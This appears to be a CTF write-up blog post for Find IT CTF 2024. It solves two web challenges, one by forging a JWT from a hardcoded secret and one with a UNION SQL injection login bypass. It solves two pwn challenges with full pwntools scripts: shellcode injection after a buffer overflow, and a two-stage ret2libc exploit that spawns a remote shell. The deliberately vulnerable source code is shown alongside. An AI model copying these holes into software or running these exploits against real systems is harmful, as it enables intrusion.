Post

Find IT CTF 2024

Find IT CTF 2024

  • Tags: national
  • Status: Not started
  • pwned: 4

Web

kue

Description

Aku baru saja membuat website yang menggunakan cookies berbasis JWT menggunakan chatgpt, tapi ada yang salah sepertinya ketika mengenkripsi JWT-nya.

Solution

We’re give a source code so its a whitebox challenge, lets start by checking app.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const jwt = require("jsonwebtoken");
const express = require("express");
const cookieParser = require("cookie-parser");
const fs = require("fs");

const app = express();
app.use(cookieParser());

const JWT_SECRET = "your_secret_key";

const verifyJWT = (req, res, next) => {
    const token = req.cookies.auth;
    jwt.verify(token, JWT_SECRET, (err, decoded) => {
        if (err) return res.sendStatus(403);
        if (!decoded.roles) return res.sendStatus(403);
        req.roles = decoded.roles;
        next();
    });
};

app.get("/", (req, res) => {
    // Check if the client sent a cookie named 'auth'
    if (req.cookies.auth) {
        try {
            const decoded = jwt.verify(req.cookies.auth, JWT_SECRET);
            res.send(
                `Welcome back! Your username is ${decoded.username} and your roles are ${decoded.roles}`
            );
        } catch (error) {
            res.send("Invalid token. Please refresh to get a new token.");
        }
    } else {
        // User visits for the first time, set a JWT cookie
        const token = jwt.sign(
            { username: "new_user", roles: "user" },
            JWT_SECRET,
            {
                expiresIn: "1d",
            }
        );
        res.cookie("auth", token, {
            httpOnly: true, // Cookie accessible only by web server
            maxAge: 86400000, // Cookie expires after 1 day
        });
        res.send(
            "Hello, first time visitor! We have set a secure cookie for you."
        );
    }
});

app.get("/flag", verifyJWT, (req, res) => {
    try {
        if (req.roles !== "admin") return res.sendStatus(403);
        res.send(fs.readFileSync("flag.txt", "utf8"));
    } catch (error) {
        res.sendStatus(403);
    }
});

// Start the server on port 6060
app.listen(6060, () => {
    console.log("Server is running on http://localhost:6060");
});

it is very straightfoward because i realize the app stored an jwt_secret that unsecured in the application so we can directly craft an cookie and access the admin panel. Using jwt.io we can modify the cookie to access admin panel and flag path.

Untitled

Flag

FindITCTF{k0p1_k4p4l_134bi}

login dulu

Description

Just read the file!

Solution

This is also a whitebox we’re give a source code lets read important parts app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const express = require("express");
const session = require("express-session");
const sqlite3 = require("sqlite3").verbose();
const bodyParser = require("body-parser");
const crypto = require("crypto");
var fs = require("fs");
const path = require("path");

const app = express();
const port = 7070;

const db = new sqlite3.Database(":memory:");

db.serialize(() => {
    db.run(
        "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT)"
    );
});

app.use(
    session({
        secret: crypto.randomBytes(16).toString("base64"),
        resave: false,
        saveUninitialized: true,
    })
);

app.set("views", path.join(__dirname, "views"));
app.set("view engine", "ejs");
app.use(express.static("static"));
app.use(bodyParser.urlencoded({ extended: true }));

app.get("/", (req, res) => {
    const loggedIn = req.session.loggedIn;
    const username = req.session.username;

    res.render("index", { loggedIn, username });
});

app.get("/login", (req, res) => {
    res.render("login");
});

app.post("/login", (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    db.get(
        'SELECT * FROM users WHERE username = "' +
            username +
            '" and password = "' +
            password +
            '"',
        (err, row) => {
            if (err) {
                console.error(err);
                res.status(500).send("Error retrieving user");
            } else {
                if (row) {
                    req.session.loggedIn = true;
                    req.session.username = username;
                    res.send("Login successful!");
                } else {
                    res.status(401).send("Invalid username atau password");
                }
            }
        }
    );
});

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.send("Logout successful!");
});

app.get("/flag", (req, res) => {
    if (req.session.username == "admin") {
        res.send(
            "Selamat datang admin. Flagnya adalah " + fs.readFileSync("flag.txt", "utf8")
        );
    } else if (req.session.loggedIn) {
        res.status(401).send("Kamu harus menjadi Admin untuk mendapatkan Flag.");
    } else {
        res.status(401).send("Unauthorized. Login terlebih dahulu.");
    }
});

app.listen(port, () => {
    console.log(`App listening at http://localhost:${port}`);
});

i could easily know that the query is not sanitize so its definitely an sql injection, after some trying i notice when attempting an union query we get “error retrieving user”. So union maybe can works, and the final payload looks like this:

username=admin&password=" union select NULL,NULL,NULL --

Then after that just go to flag page

Flag

FindITCTF{manc1n9_m4n14K}

PWN

Elevator

Description

Use the elevator and convince everyone you are the admin.

Solution

We’re given the binary, to make it easier im using dogbolt to decompile it:

Untitled

Also using checksec very straightforward there is no protection for shellcode, so we can inject shellcode after buffer overflow i notice the buffer is 1032 and + 4 to close ebp so it will be 1036, here is my shellcode script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

HOST = "103.191.63.187"
PORT = "5000"
r = remote(HOST, PORT)
r.recvuntil(b'How are you?: \n\n')

context.binary = ELF('./admin')

# p = process()
offset = 1036
payload = b''
payload += offset*b'A'
payload += p32(0x08049199)
payload += asm(shellcraft.sh())
print(payload)
log.info(r.clean())

r.sendline(payload)
r.interactive()

Untitled

Flag

FindITCTF{m4m4h_4ku_h3k3r_l33t}

Everything Machine 2.0

Description

The “Everything Machine” is a volumetric printer that has the ability to copy and print any three dimensional object. The maintainer of the Everything Machine has received your feedback from last year and are proud to deploy the second model. But I think you can still force it to print a flag though.

Solution

In the zip file given, there are binary also with libc files. Unfortunately i sugest it will be something related with ret2libc after some time learning something new i found interesting writeup https://ctftime.org/writeup/14404 looks the same with my condition because i need to find the libc-base address first and it needs some adress that can be find from libc file, following the writeup ive come to successfull script, Here is my script to perform ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import struct
import socket
from pwn import *

context(arch = 'i386', os = 'linux', endian = 'little')

puts_plt = 0x08049070
puts_got = 0x804c018       #objdump -R everything4 | grep puts
main = 0x080491eb              #objdump -D everything4 | grep main

buf = b""
buf += b"A"*2036             
buf += p32(puts_plt)         
buf += p32(main)             
buf += p32(puts_got)         

# s = process("everything4")
s = remote('103.191.63.187', 5001)
log.info("Stage 1: ...Leaking Memory")
s.recvuntil("Step forward for synchronization:\n\n")
s.sendline(buf)
received = s.recvline()
print(received)
leaked_puts_got = received.strip()
leaked_puts_got = u32(leaked_puts_got)
addrs = hex(leaked_puts_got)
leaked_puts_got = int(addrs, 16)
log.success("Leaked remote libc address: " + addrs)
print('')

#################### STAGE2 ####################

libc = ELF("libc.so.6")

libc_base = leaked_puts_got - libc.sym.puts
system_addr = libc_base + libc.sym["system"]
fake_addr = 0xbeefdead
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

buf = b""
buf += b"A"*2036      
buf += p32(system_addr)
buf += p32(fake_addr)     
buf += p32(bin_sh_addr)

log.info("Stage 2: ...Obtaining Shell ")
s.sendline(buf)
s.interactive()

Untitled

Flag

FindITCTF{Pl3as3_3x!t_th3_pl4tf0rm}

This post is licensed under CC BY 4.0 by the author.

Trending Tags